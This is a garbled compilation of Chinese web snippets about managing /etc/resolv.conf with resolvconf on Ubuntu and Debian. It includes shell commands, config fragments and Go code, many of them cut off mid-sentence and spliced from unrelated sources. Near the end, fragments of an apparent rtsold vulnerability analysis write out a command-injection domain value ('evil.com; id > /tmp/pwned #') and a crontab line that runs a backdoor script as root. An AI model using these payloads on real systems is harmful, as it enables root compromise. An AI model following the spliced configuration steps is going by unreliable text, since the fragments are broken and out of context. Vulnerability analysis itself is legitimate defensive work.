打开这个文件后,虽然可以看到配置信息,但是同时也看到了文件头里醒目的两行注释: #Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf (8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN 大意是这个文件是由resolvconf程序进行动态生成的 网上搜索了一下,发现了解决办法,原来只需要往resolvconf这个程序的目录里写入一个新配置文件就可以解决。 首先我们需要创建一个文件/etc/resolvconf/resolv.conf.d/tail: #vim /etc/resolvconf/resolv.conf.d/tail 然后我们在这个文件里写入自己要添加的 接下来我们重启下resolvconf程序,让配置生效: #/etc/init.d/resolvconf restart 再去看看/etc/resolv.conf文件,自己添加的DNS服务器果然乖乖的写进去了
2、resolvconf 默认软链接 user@ubuntu:~$ ls -lh /etc/resolv.conf lrwxrwxrwx 1 root root 27 10月 22 2018 /etc /resolv.conf -> /run/resolvconf/resolv.conf user@ubuntu:~$ netstat -tulpn|grep 53 (Not all processes /resolv.conf # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO nameserver 114.114.114.114 nameserver 127.0.0.53 user@ubuntu:~$ cat /run/resolvconf/interface/eth0.inet nameserver 114.114.114.114 mogo@mogo-desktop:~$ cat /run/resolvconf/interface/systemd-resolved nameserver
$ cat /etc/resolv.conf # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) 这个文件是由 resolvconf.service 来负责维护的,我们可以通过修改下面这个文件来达到我们想要的效果: $ cat /etc/resolvconf/resolv.conf.d/head # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS
resolv.conf 文件中修改 DNS 地址,格式为 nameserver x.x.x.x sudo vim /etc/resolv.conf 永久修改 DNS 地址 Linux 系统可能没有默认安装 resolvconf 软件,此时需要手动安装 sudo apt install resolvconf 安装完后重启系统该软件才会生效。 然后使用如下命令: sudo vim /etc/resolvconf/resolv.conf.d/base 在打开的文件中,添加/修改 DNS 地址,格式同样为 nameserver x.x.x.x 接着使用如下命令刷新系统 DNS 地址: sudo resolvconf -u 判断系统 DNS 地址是否已更新,可以通过查看此种更改前后 /etc/resolv.conf 文件内容: cat /etc
255.255.255.0 # 网关地址 network 10.0.0.1 # 子网掩码 然后重启网卡服务: systemctl restart networking 然后我们打开DNS文件: sudo vim /etc/resolvconf /resolv.conf.d/base 添加如下内容: nameserver 180.76.76.76 刷新DNS配置: sudo resolvconf -u
nameserver 8.8.8.8 nameserver 8.8.4.4 4.2 使用resolvconf工具 resolvconf工具可以帮助管理resolv.conf文件。 $ echo "nameserver 8.8.8.8" | sudo resolvconf -a eth0 5.
目前能够控制 /etc/resolv.conf 文件的工具大概有这么几个:netconfig, NetworkManager, resolvconf, rdnssd 和 systemd-resolved resolvconf 和 rdnssd 如果是 Debian 8.0 或 Ubuntu 15.04,并且启用了 IPv6,那么你可能会遇到 `resolvconf` 和 `rdnssd` 互相争夺 resolv.conf 可以直接禁用并立即停止这两个服务: $ systemctl disable --now resolvconf.service rdnssd.service $ rm /etc/resolv.conf 最后手动创建 114.114.114.114 nameserver 223.5.5.5 当然,除了 nameserver 外,还有其他的参数可以配置,感兴趣可以 man 一下: $ man 5 resolv.conf 参考资料 [1] resolvconf
sudo systemctl restart networking.service ---- ---- ****ubuntu16.04设置DNS**** # 默认文件不存在 sudo vim /etc/resolvconf meserver 8.8.8.8 nameserver 8.8.4.4 # sise-dns nameserver 172.16.2.1 nameserver 172.16.2.6 刷新配置文件 sudo resolvconf
virtualbox/ virtualbox-4.2), linux generic headers (..17): ***Replace virtualboxsudo dpkg-reconfigure resolvconf resolvconf: Error: /etc/resolv.conf isn't a symlink, not doing anything. resolvconf: Error: /etc/resolv.conf isn't a symlink, not doing anything. ://askubuntu.com/questions/137037/networkmanager-not-populating-resolv-conf sudo dpkg-reconfigure resolvconf
路由可选 resolvConf (string, optional): Path to a resolv.conf on the host to parse and return as the DNS return err } result := ¤t.Result{CNIVersion: current.ImplementedSpecVersion} if ipamConf.ResolvConf = "" { dns, err := parseResolvConf(ipamConf.ResolvConf) if err !
/usr/lib/os-release drwxr-xr-x 4 root root 4096 Dec 25 16:13 resolvconf lrwxrwxrwx 1 root root /run/resolvconf/resolv.conf -rw-r--r-- 1 root root 3663 Jun 9 2015 screenrc -rw-r--r-- 1 root root /run/resolvconf/resolv.conf lrwxrwxrwx 1 root root 23 Dec 25 16:08 vtrgb -> /etc/alternatives/vtrgb
open-vm-tools 3.3、安装apt工具: apt update apt upgrade 3.4、执行此命令需要进行服务器域名配置,否则无法访问ubuntu特定的下载网址 3.5、修改 /etc/resolvconf mkdir/touch /etc/resolvconf/resolv.conf.d/base :wq 3.8、 版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。
就生效了,这时候再看/etc/resolv.conf,最下面就多了一行: # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf DO NOT EDIT THIS FILE BY HAND — YOUR CHANGES WILL BE OVERWRITTEN nameserver 223.5.5.5 方法二 在/etc/resolvconf
current list libnetwork/sandbox_dns_unix.go func (sb *sandbox) rebuildDNS() error { currRC, err := resolvconf.GetSpecific out from the list // retain only the v4 servers in sb for forwarding the DNS queries sb.extDNS = resolvconf.GetNameservers (currRC.Content) dnsSearchList = resolvconf.GetSearchDomains(currRC.Content) ) dnsList = append (dnsList, resolvconf.GetNameservers(currRC.Content, types.IPv6)...) dnsOptionsList = append(dnsOptionsList, resOptions...) _, err = resolvconf.Build(sb.config.resolvConfPath
文件可以做如下修改做判断: {% if ansible_distribution == "Ubuntu" and ansible_distribution_major_version|int > 16 %} resolvConf : /run/systemd/resolve/resolv.conf {% else %} resolvConf: /etc/resolv.conf {% endif %} 修改kubelet启动文件,
解决办法如下 在/etc/resolvconf/resolv.conf.d/目录下创建tail文件,写入 cd /etc/resolvconf/resolv.conf.d/ touch tail tail
将域名列表传递给/sbin/resolvconf# 3. resolvconf使用不安全的shell引用处理域名输入# 4. 符号注释掉后续参数,使得命令成功执行# 恶意域名构造逻辑:# 格式:"合法域名; 恶意命令 #"# 示例:"evil.com; id > /tmp/pwned #"# 在shell中解释为:# resolvconf "evil.com; id > /tmp/pwned #"# 实际执行:# resolvconf ... evil.com; id > /tmp/pwned网络包结构# IPv6路由器通告包层次结构
dhcp auto enp0s8 iface enp0s8 inet static address 192.168.56.130 netmask 255.255.255.0 DNS 编辑 /etc/resolvconf.conf
/tmp/pwned)")漏洞原理核心分析# 漏洞触发点分析# 当rtsold处理DNSSL选项时,会调用如下类似逻辑:# system("/sbin/resolvconf -a em0.domain < domain_list")# 攻击者构造的恶意域名:# "evil.com; id > /tmp/pwned #"# 实际执行的命令变为:# /sbin/resolvconf -a em0.domain /sbin/resolvconf -a em0.domain evil.com# 2. id > /tmp/pwned# 3. backdoor.sh | sh" >> /etc/crontab# 注意:这是恶意示例,仅用于演示漏洞严重性# 关键点:所有命令都以root权限执行# 因为rtsold通常以root身份运行并调用/sbin/resolvconf
3.修改DNS配置 $ sudo vim /etc/resolvconf/resolv.conf.d/head ?